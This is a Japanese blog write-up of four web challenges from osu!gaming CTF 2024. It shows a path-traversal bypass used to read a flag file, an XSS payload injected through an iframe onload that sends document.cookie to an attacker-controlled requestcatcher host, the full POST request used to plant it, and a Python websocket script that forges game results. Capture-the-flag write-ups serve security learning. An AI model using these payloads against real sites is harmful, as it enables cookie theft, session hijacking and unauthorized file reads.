はまやんはまやんはまやん

hamayanhamayan's blog

osu!gaming CTF 2024 writeup

web/mikufanpage

初音ミクのファンページが与えられる。
flagは/app/img/flag.txtにある。
以下のようにLFIができそうな部分があるので、ここを悪用する。

app.get("/image", (req, res) => {
    if (req.query.path.split(".")[1] === "png" || req.query.path.split(".")[1] === "jpg") { // only allow images
        res.sendFile(path.resolve('./img/' + req.query.path));
    } else {
        res.status(403).send('Access Denied');
    }
});

/image?path=miku1.jpgのように使われる。
何とかflag.txtにしたいが、.でsplitされてpngかjpgと比較されている。
しかし、splitしてindexが1のもので比較をすると、複数.がある場合に対応できない。
よって、.でsplitしてindexが1を取り出しても検証は通るが、最終的にflag.txtになる入力を与えれば良く、/image?path=.png./../flag.txtでフラグが得られる。
.png./../flag.txt.png.部分がフォルダ名として扱われ、../でそれを打ち消しているのでflag.txtとして解釈される。

web/when-you-dont-see-it

welcome to web! there's a flag somewhere on my osu! profile...
https://osu.ppy.sh/users/11118671

題材のosu!のプラットフォームのURLが与えられる。
ソースコードを巡回するとdata-initial-dataに生データみたいなものが含まれていて以下のような記載を見つけた。

"raw": "nothing to see here \ud83d\udc40\ud83d\udc40 [color=]the flag is b3N1e29rX3Vfc2VlX21lfQ== encoded with base64]"

base64デコードするとフラグ。

web/profile-page

自分のプロフィールページを作れるサイトが与えられる。
Admin Botも与えられているのでXSSから考える。
入力値をサニタイズしているのが以下の部分で、DOMPurifyでサニタイズ後に変換されている。

const renderBio = (data) => {
    const html = renderBBCode(data);
    const sanitized = purify.sanitize(html);
    // do this after sanitization because otherwise iframe will be removed
    return sanitized.replaceAll(
        /\[youtube\](.+?)\[\/youtube\]/g,
        '<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/$1" frameborder="0" allowfullscreen></iframe>'
    );
};

DOMPurify後は触るなと古事記にも書いてあるので、このあたりを深堀するとXSS発動させることができる。
iframeのonloadを追加することでXSSする。

[youtube]" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="[/youtube]

これを埋め込むと[youtube]のiframe変換によって以下のようになる。

<iframe sandbox="allow-scripts" width="640px" height="480px" src="https://www.youtube.com/embed/" onload="fetch(`https://[yours].requestcatcher.com/get?${document.cookie}`)" dummy="" frameborder="0" allowfullscreen></iframe>

これでXSS発動させ、フラグが得られる。
更新リクエストが独特なので一応更新用リクエストを以下に載せておく。

POST /api/update HTTP/1.1
Host: profile-page.web.osugaming.lol
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Cookie: csrf=1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b; connect.sid=s%3A1p3YSt-0ZItsTe-34bLRzqmoiBph99WF.UgL18oVmW2X83tufi0Ao1bXVnoPHbfOaYyEQ6W6349I
csrf: 1b979825ce8ef2324cf1c56a9548fd2cbadc7f336dfe70dfe91d691a7e206e3b
Connection: close

bio=%5byoutube%5d%22%20onload%3d%22fetch(%60https%3a%2f%2f[yours].requestcatcher.com%2fget%3f%24%7bdocument.cookie%7d%60)%22%20dummy%3d%22%5b%2fyoutube%5d

web/stream-vs

how good are you at streaming? i made a site to find out! you can even play with friends, and challenge the goat himself

ソースコード無し。
対戦モードがあり、cookieziと対戦できるが3セットゲームをすると以下のようにぼろ負けする。

Game ID: qlbc3
  admin
  cookiezi
Song #1 / 3: xi remixed by cosMo@bousouP - FREEDOM DiVE [METAL DIMENSIONS] (211.11 BPM)
  cookiezi - 211.11 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #2 / 3: ke-ji. feat Nanahira - Ange du Blanc Pur (182 BPM)
  cookiezi - 182.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Song #3 / 3: xi - Blue Zenith (200 BPM)
  cookiezi - 200.00 BPM | 20.00 UR 🏆
  admin - 0.00 BPM | 0.00 UR
Better luck next time!

これで勝てばフラグがもらえそう。
websocketで実装されていて、曲が終わると何かのデータをサーバ側に送っている。
stream-vs.jsにメインロジックが実装されているので眺めると、スコアリングの方法がコメントアウトで載っていた。

// scoring algorithm
// first judge by whoever has round(bpm) closest to target bpm, if there is a tie, judge by lower UR
/*
session.results[session.round] = session.results[session.round].sort((a, b) => {
    const bpmDeltaA = Math.abs(Math.round(a.bpm) - session.songs[session.round].bpm);
    const bpmDeltaB = Math.abs(Math.round(b.bpm) - session.songs[session.round].bpm);
    if (bpmDeltaA !== bpmDeltaB) return bpmDeltaA - bpmDeltaB;
    return a.ur - b.ur
});
*/

まずはBPMの近さを見ているようだ。
だが、これは上記の結果を見ると、cookieziは完全にBPMは合わせてくるので、こちらも少なくともBPMを完全に合わせる必要がある。
websocketで結果を送るときは

{"type":"results","data":{"clicks":[],"start":1709344913209,"end":1709344922274}}

こんな感じで送っていて良い感じにフルコンボを出してやればよさそう。
その辺りの計算アルゴリズムもstream-vs.jsに書いてある。

// algorithm from https://ckrisirkc.github.io/osuStreamSpeed.js/newmain.js
const calculate = (start, end, clicks) => {
    const clickArr = [...clicks];
    const bpm = Math.round(((clickArr.length / (end - start) * 60000)/4) * 100) / 100;
    const deltas = [];
    for (let i = 0; i < clickArr.length - 1; i++) {
        deltas.push(clickArr[i + 1] - clickArr[i]);
    }
    const deltaAvg = deltas.reduce((a, b) => a + b, 0) / deltas.length;
    const variance = deltas.map(v => (v - deltaAvg) * (v - deltaAvg)).reduce((a, b) => a + b, 0);
    const stdev = Math.sqrt(variance / deltas.length);

    return { bpm: bpm || 0, ur: stdev * 10 || 0};
};

これを元に自動化スクリプトを人間っぽい感じに作って動かすとフラグがもらえる。
たまに失敗するけど根気よく回す。

from websocket import create_connection
import json
from decimal import *
import time
ws = create_connection("wss://stream-vs.web.osugaming.lol/")

def send_and_recv(payload):
    ws.send(json.dumps(payload))
    return json.loads(ws.recv())    

send_and_recv({"type":"login","data":"evilman"})
send_and_recv({"type":"challenge"})
songs = send_and_recv({"type":"start"})['data']['songs']
for song in songs:
    start = int(time.time())
    end = start + song['duration'] * 1000
    interval = 60000 / song['bpm'] / 4
    clicks = [start]
    while clicks[-1] + interval <= end:
        clicks.append(clicks[-1] + interval)

    p = {"type":"results","data":{"clicks":clicks,"start":start, "end":end}}
    #print(p)
    send_and_recv(p) # results
    print(ws.recv()) # game or message

    time.sleep(song['duration'])